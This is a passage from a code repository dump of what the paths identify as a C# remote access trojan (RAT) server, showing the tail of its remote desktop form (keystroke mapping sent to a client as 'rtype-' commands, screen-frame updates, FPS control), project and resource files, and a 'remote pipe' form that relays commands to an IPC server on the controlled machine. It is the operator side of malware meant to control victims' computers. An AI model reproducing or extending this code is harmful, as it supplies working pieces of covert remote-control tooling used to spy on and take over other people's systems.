keysToSend += "{F11}"; 254 | else if (e.KeyCode.ToString().Equals("F12")) 255 | keysToSend += "{F12}"; 256 | else if (e.KeyValue == 186) 257 | keysToSend += "{;}"; 258 | else if (e.KeyValue == 222) 259 | keysToSend += "'"; 260 | else if (e.KeyValue == 191) 261 | keysToSend += "/"; 262 | else if (e.KeyValue == 190) 263 | keysToSend += "."; 264 | else if (e.KeyValue == 188) 265 | keysToSend += ","; 266 | else if (e.KeyValue == 219) 267 | keysToSend += "{[}"; 268 | else if (e.KeyValue == 221) 269 | keysToSend += "{]}"; 270 | else if (e.KeyValue == 220) 271 | keysToSend += "\\"; 272 | else if (e.KeyValue == 187) 273 | keysToSend += "{=}"; 274 | else if (e.KeyValue == 189) 275 | keysToSend += "{-}"; 276 | else if (e.KeyValue == 233) 277 | keysToSend += "é"; 278 | else if (e.KeyValue == 225) 279 | keysToSend += "á"; 280 | else if (e.KeyValue == 369) 281 | keysToSend += "ű"; 282 | else if (e.KeyValue == 337) 283 | keysToSend += "ő"; 284 | else if (e.KeyValue == 250) 285 | keysToSend += "ú"; 286 | else if (e.KeyValue == 246) 287 | keysToSend += "ö"; 288 | else if (e.KeyValue == 252) 289 | keysToSend += "ü"; 290 | else if (e.KeyValue == 243) 291 | keysToSend += "ó"; 292 | 293 | ((Form1)parent).SendToTarget($"rtype-{keysToSend}"); //Send command to the client 294 | } 295 | } 296 | 297 | /// 298 | /// Handles the start of image updater 299 | /// 300 | /// The sender of the event 301 | /// The event args 302 | private void RDesktop_Shown(object sender, EventArgs e) 303 | { 304 | Timer t = new Timer 305 | { 306 | // t.Interval = 100; 307 | Interval = FPS //Set the frequency to the screen update rate 308 | }; //Create a new timer 309 | t.Tick += new EventHandler(UpdateImage); //Set the tick event handler 310 | t.Start(); //Start the timer 311 | } 312 | 313 | /// 314 | /// Update the image frame 315 | /// 316 | /// The sender of the event 317 | /// The event args 318 | private void UpdateImage(object sender, EventArgs e) 319 | { 320 | if (image != null) //If the image is not null 321 | { 322 | pictureBox1.Image = image; //Set the image 323 | } 324 | 325 | //Call garbage collector 326 | GC.Collect(); 327 | GC.WaitForPendingFinalizers(); 328 | System.Threading.Thread.SpinWait(5000); 329 | } 330 | 331 | /// 332 | /// Close the full screen view 333 | /// 334 | /// The sender of the event 335 | /// The event args 336 | private void closeWindowToolStripMenuItem_Click(object sender, EventArgs e) 337 | { 338 | Form1 f1 = (Form1)parent; //Create a new Form1 339 | 340 | //Reset the checkboxes 341 | 342 | if (f1.checkBoxrKeyboard.Checked) 343 | { 344 | f1.checkBoxrKeyboard.Checked = false; 345 | } 346 | if (f1.checkBoxrMouse.Checked) 347 | { 348 | f1.checkBoxrMouse.Checked = false; 349 | } 350 | 351 | Form1.IsRdFull = false; //reset the picture back to form1 picturebox1 352 | 353 | 354 | Close(); //Close the form 355 | } 356 | 357 | /// 358 | /// Set the FPS update rate 359 | /// 360 | public void ScreenFPS() 361 | { 362 | int value = ((Form1)parent).trackBar1.Value; //Get the FPS value 363 | 364 | //Set the fps rate 365 | if (value < 25) 366 | FPS = 150; //low 367 | else if (value >= 75 && value <= 85) 368 | FPS = 80; //best 369 | else if (value >= 85) 370 | FPS = 50; //high 371 | else if (value >= 25) 372 | FPS = 100; //mid 373 | } 374 | 375 | #endregion 376 | } 377 | } 378 | -------------------------------------------------------------------------------- /TutServer/RDesktop.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 17, 17 122 | 123 | 124 | 203 125 | 126 | -------------------------------------------------------------------------------- /TutServer/TutServer.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {E66E3E96-3B7A-4784-84CF-E6AF40006F91} 8 | WinExe 9 | Properties 10 | TutServer 11 | TutServer 12 | v4.5 13 | 512 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | app.manifest 36 | 37 | 38 | 39 | False 40 | ..\..\TutClient\TutClient\bin\Debug\NAudio.dll 41 | 42 | 43 | ..\..\TutServer\TutServer\bin\Debug\scripts\sCore.dll 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | Form 59 | 60 | 61 | Edit.cs 62 | 63 | 64 | Form 65 | 66 | 67 | Form1.cs 68 | 69 | 70 | 71 | 72 | Form 73 | 74 | 75 | RDesktop.cs 76 | 77 | 78 | Form 79 | 80 | 81 | remotePipe.cs 82 | 83 | 84 | Edit.cs 85 | 86 | 87 | Form1.cs 88 | 89 | 90 | ResXFileCodeGenerator 91 | Resources.Designer.cs 92 | Designer 93 | 94 | 95 | True 96 | Resources.resx 97 | 98 | 99 | RDesktop.cs 100 | 101 | 102 | remotePipe.cs 103 | 104 | 105 | 106 | SettingsSingleFileGenerator 107 | Settings.Designer.cs 108 | 109 | 110 | True 111 | Settings.settings 112 | True 113 | 114 | 115 | 116 | 117 | 118 | 119 | 126 | -------------------------------------------------------------------------------- /TutServer/app.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | true 18 | 19 | 20 | 21 | 22 | 30 | 31 | 32 | 33 | -------------------------------------------------------------------------------- /TutServer/bin/Debug/NAudio.WindowsMediaFormat.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Server/776f827268b45825b19f6a8a1f3a27263f25ac98/TutServer/bin/Debug/NAudio.WindowsMediaFormat.dll -------------------------------------------------------------------------------- /TutServer/bin/Debug/NAudio.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Server/776f827268b45825b19f6a8a1f3a27263f25ac98/TutServer/bin/Debug/NAudio.dll -------------------------------------------------------------------------------- /TutServer/bin/Debug/sCore.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Server/776f827268b45825b19f6a8a1f3a27263f25ac98/TutServer/bin/Debug/sCore.dll -------------------------------------------------------------------------------- /TutServer/bin/Debug/scripts/ServerPlugin.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AdvancedHacker101/C-Sharp-R.A.T-Server/776f827268b45825b19f6a8a1f3a27263f25ac98/TutServer/bin/Debug/scripts/ServerPlugin.dll -------------------------------------------------------------------------------- /TutServer/remotePipe.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace TutServer 2 | { 3 | partial class RemotePipe 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.richTextBox1 = new System.Windows.Forms.RichTextBox(); 32 | this.textBox1 = new System.Windows.Forms.TextBox(); 33 | this.SuspendLayout(); 34 | // 35 | // richTextBox1 36 | // 37 | this.richTextBox1.Location = new System.Drawing.Point(12, 12); 38 | this.richTextBox1.Name = "richTextBox1"; 39 | this.richTextBox1.Size = new System.Drawing.Size(1034, 483); 40 | this.richTextBox1.TabIndex = 0; 41 | this.richTextBox1.Text = ""; 42 | // 43 | // textBox1 44 | // 45 | this.textBox1.Location = new System.Drawing.Point(12, 501); 46 | this.textBox1.Name = "textBox1"; 47 | this.textBox1.Size = new System.Drawing.Size(1034, 20); 48 | this.textBox1.TabIndex = 1; 49 | this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.textBox1_KeyDown); 50 | // 51 | // remotePipe 52 | // 53 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 54 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 55 | this.ClientSize = new System.Drawing.Size(1058, 526); 56 | this.Controls.Add(this.textBox1); 57 | this.Controls.Add(this.richTextBox1); 58 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow; 59 | this.Name = "remotePipe"; 60 | this.Text = "remotePipe"; 61 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.remotePipe_FormClosing); 62 | this.ResumeLayout(false); 63 | this.PerformLayout(); 64 | 65 | } 66 | 67 | #endregion 68 | 69 | private System.Windows.Forms.RichTextBox richTextBox1; 70 | private System.Windows.Forms.TextBox textBox1; 71 | } 72 | } -------------------------------------------------------------------------------- /TutServer/remotePipe.cs: -------------------------------------------------------------------------------- 1 | using System.Windows.Forms; //For form intercation and controls 2 | 3 | #pragma warning disable IDE1006 4 | 5 | namespace TutServer //The application namespace 6 | { 7 | /// 8 | /// Class for handling remote IPC connections 9 | /// 10 | public partial class RemotePipe : Form 11 | { 12 | #region Global Variables 13 | 14 | /// 15 | /// Reference to the main form 16 | /// 17 | private Form1 ctx; 18 | /// 19 | /// The remote IPC server name 20 | /// 21 | public string pname; 22 | /// 23 | /// Indicates if the pipe is connected to the remote IPC server 24 | /// 25 | public bool RemoteRemove = true; 26 | /// 27 | /// The output sent by the remote IPC server 28 | /// 29 | public RichTextBox outputBox; 30 | 31 | #endregion 32 | 33 | #region Remote Pipe and Form Functions 34 | 35 | /// 36 | /// Constructor 37 | /// 38 | /// The name of the IPC server 39 | /// Reference to the main form 40 | public RemotePipe(string pipeName, Form1 context) 41 | { 42 | InitializeComponent(); //Init the controls 43 | Text = $"Remote Pipe Connection ({pipeName})"; //Set the title text 44 | pname = pipeName; //Set the IPC server name 45 | ctx = context; //Set the main form reference 46 | outputBox = richTextBox1; //Set the output of the IPC server 47 | } 48 | 49 | /// 50 | /// Handles the sending of IPC input 51 | /// 52 | /// The sender of the event 53 | /// The event args 54 | private void textBox1_KeyDown(object sender, KeyEventArgs e) 55 | { 56 | if (e.KeyCode == Keys.Enter) //if enter is pressed 57 | { 58 | string data = textBox1.Text; //Get the data in the input 59 | string cmd = $"writeipc§{pname}§{data}"; //Construct the command 60 | ctx.SendToTarget(cmd); //Send the command to the client 61 | textBox1.Text = ""; //Clear the input box 62 | } 63 | } 64 | 65 | /// 66 | /// Delegate used for writing IPC output 67 | /// 68 | /// The text to write to the IPC output 69 | private delegate void SetTextCallback(string text); 70 | 71 | /// 72 | /// Write to the IPC output 73 | /// 74 | /// The text to write to the output 75 | private void SetText(string text) 76 | { 77 | if (InvokeRequired) //If we need to invoke 78 | { 79 | SetTextCallback stc = new SetTextCallback(SetText); //Create a new callback 80 | Invoke(stc, new object[] { text }); //Invoke the callback 81 | return; //Return 82 | } 83 | 84 | richTextBox1.Text = text; //Set the output text 85 | } 86 | 87 | /// 88 | /// Write the output of an IPC command 89 | /// 90 | /// The output of the IPC server 91 | public void WriteOutput(string output) 92 | { 93 | SetText(output); //Write the output to the richTextBox 94 | } 95 | 96 | /// 97 | /// Close the remote pipe 98 | /// 99 | /// The sender of the event 100 | /// The event args 101 | private void remotePipe_FormClosing(object sender, FormClosingEventArgs e) 102 | { 103 | ctx.RemovePipe(this, RemoteRemove); //Remove the pipe from the list 104 | } 105 | 106 | #endregion 107 | } 108 | } 109 | -------------------------------------------------------------------------------- /TutServer/remotePipe.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | --------------------------------------------------------------------------------